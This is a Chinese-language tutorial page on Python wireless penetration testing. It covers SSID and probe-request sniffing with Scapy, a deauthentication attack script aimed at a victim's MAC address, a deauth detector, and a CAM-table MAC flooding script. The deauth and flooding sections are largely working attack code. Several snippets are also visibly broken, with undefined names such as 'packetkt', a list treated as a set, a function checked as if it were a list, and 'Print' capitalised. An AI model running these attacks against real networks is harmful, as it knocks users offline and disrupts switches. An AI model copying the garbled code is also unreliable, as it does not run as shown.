Python Penetration Testing 简明教程
Pentesting of Wireless Network
无线系统具有很大的灵活性,但另一方面,它也会导致严重的安全问题。而这如何成为一个严重的安全问题——因为攻击者在无线连接的情况下,只需要有可用的信号来攻击,而不需要像在有线网络的情况下,拥有物理访问。对无线系统的渗透测试比在有线网络上进行渗透测试更容易。如果我们距离足够近,我们实际上无法对无线介质采取良好的物理安全措施,我们将能够“听到”(或者至少您的无线适配器能够听到)通过空中流动的一切。
Important Terminologies
现在让我们来学习与无线网络渗透测试相关的术语。
Access Point (AP)
接入点 (AP) 是 802.11 无线实现中的中心节点。此点用于将用户连接到网络中的其他用户,还可以作为无线 LAN (WLAN) 和固定有线网络之间的互连点。在 WLAN 中,AP 是一个传输和接收数据的站点。
Communication between client and the wireless system
我们需要理解的另一件重要的事情是客户端和无线系统之间的通信过程。借助以下图表,我们可以理解 -
Finding Wireless Service Set Identifier (SSID) using Python
我们可以借助原始套接字方法以及使用 Scapy 库来收集有关 SSID 的信息。
Raw socket method
我们已经了解 mon0 捕获无线数据包;因此,我们需要将监视模式设置为 mon0 。在 Kali Linux 中,可以使用 airmon-ng 脚本来实现。运行此脚本后,它将为无线网卡指定一个名称,例如 wlan1 。现在,借助以下命令,我们需要在 mon0 上启用监视模式 -
airmon-ng start wlan1
以下原始套接字方法 Python 脚本将为我们提供 AP 的 SSID -
首先,我们需要按如下方式导入套接字模块 -
import socket
现在,我们将创建一个具有三个参数的套接字。第一个参数告诉我们数据包接口(针对 Linux 为 PF_PACKET,针对 Windows 为 AF_INET)、第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们对所有数据包感兴趣。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
现在,下一行将绑定 mon0 模式和 0x0003 。
s.bind(("mon0", 0x0003))
现在,我们需要声明一个空列表,其中将存储 AP 的 SSID。
ap_list = []
现在,我们需要调用 recvfrom() 方法来接收数据包。为了继续嗅探,我们将使用无限 while 循环。
while True:
packet = s.recvfrom(2048)
下一行代码显示如果帧是 8 位,则表明该帧是信标帧。
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
SSID sniffer with Scapy
Scapy 是出色的库之一,该库可方便地嗅探 Wi-Fi 数据包。您可以在 https://scapy.readthedocs.io/en/latest/ 详细了解 Scapy。首先,以交互模式运行 Sacpy 并使用命令 conf 获取 iface 的值。默认界面是 eth0。现在我们有了上面的 dome,我们需要更改此模式为 mon0。可以按以下方式执行此操作:
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3
现在让我们导入 Scapy 作为库。此外,执行以下 Python 脚本将为我们提供 SSID:
from scapy.all import *
现在,我们需要声明一个空列表,该列表将存储 AP 的 SSID。
ap_list = []
现在,我们将定义一个名为 Packet_info() 的函数,该函数将具有完整的报文解析逻辑。函数中将出现参数 pkt。
def Packet_info(pkt) :
在下一个语句中,我们将应用一个过滤器,该过滤器将仅允许 Dot11 流量,即允许 802.11 流量。下一行也是一个过滤器,它会允许帧类型为 0(表示管理帧)且帧子类型为 8(表示信标帧)的流量。
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
现在,嗅探器函数将使用 iface 值 mon0 (针对无线数据包)嗅探数据并调用 Packet_info 函数。
sniff(iface = "mon0", prn = Packet_info)
为了实现上述 Python 脚本,我们需要能够使用监视模式嗅探空气的 Wi-Fi 网卡。
Detecting Access Point Clients
为了检测接入点的客户端,我们需要捕获探测请求帧。我们能够像使用 Scapy 捕获 SSID 嗅探器的 Python 脚本中所做的那样捕获探测请求帧。我们需要提供 Dot11ProbeReq 来捕获探测请求帧。以下是用来检测接入点客户端的 Python 脚本:
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
Wireless Attacks
对于渗透测试人员而言,了解无线攻击如何发生非常重要。在本节中,我们将讨论两种无线攻击:
-
The de-authentication (deauth) attacks
-
The MAC flooding attack
The de-authentication (deauth) attacks
在客户端设备与接入点之间的通信过程中,每当客户端想要断开连接时,客户端必须发送去身份验证帧。作为对来自客户端的帧的响应,AP 也会发送去身份验证帧。攻击者可以利用受害者的 MAC 地址并向 AP 发送去身份验证帧来利用这个正常过程。因为这样客户端与 AP 之间的连接会中断。以下是用于执行去身份验证攻击的 Python 脚本:
首先,让我们导入 Scapy 作为库:
from scapy.all import *
import sys
以下两条语句将分别输入 AP 和受害者的 MAC 地址。
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
现在,我们需要创建去身份验证帧。可以执行以下语句来创建去身份验证帧。
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
下一行代码表示发送的数据包的总数,这里为 500,以及两个数据包之间的间隔。
sendp(frame, iface = "mon0", count = 500, inter = .1)
Output
执行后,上述命令将生成以下输出:
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
然后创建 deauth 帧,并代表客户端将其发送至接入点。这将会取消客户端和接入点之间的连接。
这里的问题是如何使用 Python 脚本检测 deauth 攻击。执行以下 Python 脚本将帮助检测此类攻击:
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
在上述脚本中,语句 pkt.subtype == 12 表示 deauth 帧,而全局定义的变量 I 表示数据包的数量。
Output
上述脚本执行后生成以下输出 −
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
The MAC address flooding attacks
MAC 地址泛洪攻击(CAM 表泛洪攻击)是一种类型的网络攻击,其中连接到交换机端口的攻击者使用大量具有不同虚假源 MAC 地址的以太网帧泛洪交换机接口。当大量 MAC 地址泛洪进入表中且达到 CAM 表阈值时,CAM 表溢出就会发生。这会导致交换机像集线器一样工作,用流量泛洪所有端口的网络。此类攻击很容易发起。以下 Python 脚本有助于发起此类 CAM 泛洪攻击 −
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
这类攻击的主要目的是检查交换机的安全性。如果想要降低 MAC 泛洪攻击的影响,则我们需要使用端口安全。